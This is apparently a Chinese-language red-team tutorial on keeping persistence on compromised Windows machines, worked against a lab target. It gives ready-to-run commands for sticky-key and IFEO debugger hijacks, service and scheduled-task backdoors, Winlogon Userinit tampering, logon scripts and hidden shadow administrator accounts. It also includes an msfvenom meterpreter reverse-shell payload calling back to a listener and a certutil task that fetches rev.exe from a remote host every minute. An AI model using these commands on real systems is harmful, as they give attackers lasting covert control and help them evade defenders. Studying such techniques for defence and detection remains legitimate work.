windows权限维持
1.辅助功能后门
为了使电脑更易于使用和访问,Windows添加了一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征,一些恶意软件无需登录到系统,通过远程桌面协议就可以执行恶意代码。比如最常见的按5下shift出现的粘滞键Sethc.exe,还有Windows+U组合键时启动的utilman.exe程序。
屏幕键盘:c:\windows\system32\osk.exe
放大镜:c:\windows\System32\Magnify.exe
旁白:c:\windows\system32\Narrator.exe
显示切换器c:\windows\system32\Displayswitch.exe
应用切换器:c:\windows\system32\AtBroker.exe
在较早的Windows版本,只需要进行简单的二进制文件替换,比如经典的shift后门是将C:\Windows\System32\sethc.exe
替换为cmd.exe
windows2003、XP可以可视化界面更换也可以命令行更换
copy c:\windows\system32\sethc.ex c:\windows\system32\sethc1.exe
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
2.IFEO映像劫持
在高版本的windows版本中替换的文件受到了系统的保护,所以需要进行“映像劫持”,可以理解为当打开a.exe程序实际打开的却是b.exe程序,那么a程序就是被b程序劫持了"映像劫持”,也被称为IFEO(ImageFileExecutionOptions),是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。由于这个项主要是用来调试程序用的,对一般用户意义不大,默认是只有管理员和local system有权读写修改。
注册表的位置:HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/windows NT/currentVersion/Image File Execution options
映像劫持的制作过程
在注册表的
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windowsNT\CurrentVersion\Image File Execution Option
下添加一个项sethc.exe在新建的项中添加debugger键,键值设置为恶意程序的路径
其他可以劫持的程序:
- 设置中心:C:\Windows\System32\utilman.exe,快捷键:Windows+U
- 屏幕键盘:C:\Windows\System32\osk.exe
- 放大镜:C:\Windows\System32\Magnify.exe,快捷键:Windows+加减号
按五下shift触发sethc.exe
劫持成功
还可以使用命令劫持设置中心
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
WINDOWS+U 触发
3.启动项/服务后门
开始菜单启动项
开始菜单启动项,指示启动文件夹的位置,具体的位置是“开始”菜单中的“所有程序”-“启动”选项:
C:\Users\ICHUNQIU\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup #AppData为隐藏文件
注册表相关键值
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
# Winlogon\Userinit键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
启动项注册表后门
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER的改动不需要管理员权限
开始菜单启动项示例:
将msf生成的反弹shell文件上传至系统启动文件(C:\Users\administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
)中。PS:AppData为隐藏文件
重启靶机系统,发现msf上线机器
4.自启动服务后门
在 Windows上还有一个重要的机制,也就是服务。服务程序通常默默的运行在后台,且拥有 SYSTEM 权限,非常适合用于后门持久化。我们可以将 EXE可执行文件注册为服务实现后门持久化。
可以通过如下命令行方式添加一个服务
sc create "winupdate" binpath= "C:\windows\system32\cmd.exe" #添加服务名为winupdate,指定运行文件为C:\windows\system32\cmd.exe,注意等号后要有空格
sc description "winupdate" "description" #设置服务的描述字符串
sc config "winupdate" start= auto #设置这个服务为自动启动
net start "winupdate" #启动服务
删除服务 sc delete "winupdate"
自启动服务后门示例:
先利用msf生成一个windows的反弹shell
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.20.144 lport=4444 -f exe -o rev.exe
将rev.exe上传到靶机中,msf启动监听
handler -H 0.0.0.0 -P 4444 -p windows/x64/meterpreter/reverse_tcp
添加一个服务名为winupdate的服务,指定运行文件为C:\windows\system32\cmd.exe
sc create "winup" binpath= "cmd.exe /k C:\Users\Administrator\Desktop\rev.exe"
设置服务描述字符串(可选)和自启动
sc description "winup" "description"
sc config "winup" start= auto
最后测试启动服务
net start "winup"
msf上线,反弹回来的为system权限
利用完后可以删除服务
5.系统计划任务后门
Windows实现定时任务主要有schtasks与at二种方式:
At 适用于windows xp/2003
Schtasks适用于win7/2008或者以后
schtasks /create /sc minute /mo 1 /tn "update" /tr C:\Windows\System32\cmd.exe
schtasks /create /sc minute /mo 1 /tn "update" /tr "C:\Windows\System32\certutil.exe -urlcache -split -f http://192.168.172.136:9090/rev.exe c:\rev.exe" #创建下载远控的计划任务
schtasks /create /sc minute /mo 1 /tn "update" /tr "cmd.exe /c start /b c:\rev.exe" #创建后台执行计划的计划任务
每1分钟执行一次
删除计划任务
schtasks /delete /tn 计划任务名 /f
schtasks /delete /tn * /f
系统计划任务后门示例:
首先将msf生成的rev反弹shell文件上传至靶机
接着在靶机创建后台执行计划的计划任务
schtasks /create /sc minute /mo 1 /tn "update" /tr "cmd.exe /c start /b c:\rev.exe"
等待一会后msf上线靶机(权限为administrator)
6.Winlogon用户登录初始化
winlogon.exe是windows中非常重要的进程,在用户还没登录系统之前就已经存在,并与密码验证相关的重要任务精密相关。例如,当在用户登录时,Winlogon 进程负责将用户配置文件加载到注册表中:
HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
windows登录认证流程
winlogon 提供输入框 输入用户名和密码
lsass 将用户名和明文密码,保存到内存中,将明文密码利用windows的hash算法加密成hash值
从windows的sam中查询该用户的hash值与输入后生成的hash值比对,比对成功就认证成功。
对这些注册表项的恶意修改可能导致 Winlogon 加载和执行可执行文件。 命令行:
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /f
先删除原有键值
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\cmd.exe" /f
再新添加键值
7.Logon Scripts后门
Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
注册表位置:
HKEY_CURRENT_USER\Environment
在注册表下添加键UserInitMprLogonScript
值为C:\\UserInitMprLogonScript.bat
@echo off
@echo # 'UserInitMprLogonScript'
@if exist c:\UserInitMprLogonScript.log @del c:\UserInitMprLogonScript.log
@echo UserInitMprLogonScript executed !> c:\UserInitMprLogonScript.log
@pause
使用该bat脚本进行测试。
8.影子用户
影子用户即创建的隐藏用户,它无法通过普通命令进行查询,比较隐蔽。
1.先利用命令创建一个隐藏用户,并将其加入本地管理员组。
net user test$ 123.com /add
net localgroup administrators test$ /add
添加的test$用户在netuser命令下是看不到的,但是在管理界面下可以看到
2.修改注册表
在注册表中打开 HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/
选项,点击Names菜单,可以看到计算机中所有的账户名称
tips:如果进入SAM后无法再看到里面的子选项,需要给予administrators完全控制权限(sam文件夹),并重新进入注册表
3.修改注册表的键值
将administrator用户对应的项中的F值复制到 test$ 对应项中的F值,然后保存
4.导出注册表
将Names中的 test$
和 对应的 Users 中的目录进行右键导出
5.删除test$
将创建的隐藏账号 test$ 删除
6.导入注册表
双击刚才导出的两个注册表,影子账户就创建完成了
7.查看影子账户是否创建成功,只有在注册表中才能查看该账户